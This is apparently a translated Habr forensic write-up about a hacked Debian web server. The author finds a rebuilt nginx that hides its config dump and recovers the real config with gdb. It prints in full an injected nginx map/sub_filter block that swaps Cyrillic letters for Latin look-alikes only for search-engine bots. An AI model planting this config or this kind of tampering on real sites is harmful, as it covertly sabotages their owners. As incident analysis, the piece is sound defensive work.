The most unpleasant story happened to one of my friends. But as much as it turned out to be unpleasant for Mikhail, it was just as entertaining for me.
I must say that my friend is quite himself UNIX-user: can install the system himself, install mysql, php and make simple settings .
And he has a dozen or one and a half sites dedicated to construction tools.
One of these sites dedicated to chainsaws sits tightly in the TOP of search engines. This site is a non-commercial reviewer, but someone is in the throat and got into the habit of attacking it. That DDoS, then brute force, then indecent comments will be written and they will send abuse to the hosting and to the RKN.
Suddenly, everything calmed down and this lull turned out to be not good, and the site began to gradually leave the top lines of the issue.
That was a saying, then the admin story itself.
Time was approaching sleep when the phone rang: “San, would you look at my server? It seems to me that I was hacked, I can’t prove it, but the feeling has not left for the third week. Maybe it's just time for me to treat my paranoia?
A half-hour discussion followed, which can be summarized as follows:
- the soil for breaking was quite fertile;
- the cracker could get superuser rights;
- the attack (if it took place) was targeted specifically at this site;
- problem areas have been fixed and it is only necessary to understand whether there was a fact of penetration;
- the hack could not touch the site code and databases.
Regarding the last point.
Only the white IP of the frontend looks out into the world. There is no exchange between backends and frontend other than http(s), users/passwords are different, no keys were exchanged. On gray addresses, all ports except 80/443 are closed. White backend IPs are known only to two users whom Mikhail trusts completely.
Installed on the frontend Debian 9 and by the time of the call the system is isolated from the world by an external firewall and stopped.
“Ok, give access,” I decide to postpone sleep for an hour. "I'll see with my own eyes."
Here and below:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
Looking for a possible hack
I start the server, first in rescue mode. Mount disks, flip through auth-logs, history, system logs, etc., if possible, I check the dates of creation of files, although I understand that a normal cracker would “sweep” after himself, and Misha already notably “trampled” while he was looking for it himself.
I start in normal mode, especially not yet understanding what to look for, I study the configs. Primarily interested in because, in general, there is nothing on the frontend except for it.
Configs are small, well structured in a dozen files, I just look through them cat'om in turn. It seems everything is clean, but you never know missed some includes, I'll make a complete listing:
$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful
I didn’t understand: “Where is the listing?”
$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
A second question is added to the listing question: "Why such an ancient version of nginx?"
In addition, the system considers that the version is installed fresh:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server
I'm calling:
- Mish, why did you reassemble ?
“Oh, I don’t even know how to do this!”
- Ok, well, sleep ...
Nginx unambiguously rebuilt and the output of the listing by "-T" is hidden for a reason. There are no more doubts about hacking, and you can simply accept it and (since Misha replaced the server with a new one anyway) consider the problem solved.
And indeed, since someone got the rights root'ah, it only makes sense to do system reinstall, and it is useless to look for what was wrong there, but this time curiosity won over sleep. How can we find out what they wanted to hide from us?
Let's try to trace:
$ strace nginx -T
We look, the trace is clearly missing lines a la
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
For the sake of interest, we compare the results
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
I think part of the code /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
was rendered as:
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
or
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
so the "-T" listing is not displayed.
But how to see our config?
If my thought is correct and the problem is only in the variable ngx_dump_config Let's try to install it with gdb, good key --with-cc-opt -g is present and we hope that the optimization -O2 won't bother us. However, since I don't know how ngx_dump_config could be processed in case 'T':, we will not call this block, but install it using case 't':
Why you can use '-t' along with '-T'Block processing if(ngx_dump_config) going on inside if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "configuration file %s test is successful",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i < cycle->config_dump.nelts; i++) {
ngx_write_stdout("# configuration file ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
Of course, if the code is changed in this part and not in case 'T':then my method won't work.
Test nginx.confHaving already solved the problem empirically, it was found that a minimal config is required for the malware to work. type:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
We will use it for brevity in the article.
Launching the debugger
$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188 src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:
[Inferior 1 (process 32581) exited normally]
(gdb) quit
In steps:
- set a breakpoint in a function Main()
- Run the program
- change the value of the variable that determines the output of the config ngx_dump_config=1
- continue/end the program
As you can see, the real config differs from ours, we select a parasitic piece from it:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Let's take a look at what's going on here.
Are determined User Agent's yandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Service pages are excluded wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
And for those who fell under both of the above conditions
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
in the text html-page changes 'O' on 'o' и 'A' on 'to':
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
That's right, the only subtlety is that 'a' != 'a' just like 'o' != 'o':
Thus, instead of the normal 100% Cyrillic text, search engine bots receive modified garbage diluted with Latin 'to' и 'o'. I don’t presume to argue how this affects SEO, but it is unlikely that such a mash-up of letters will have a positive effect on positions in the search results.
What can I say, guys with imagination.
references
Source: habr.com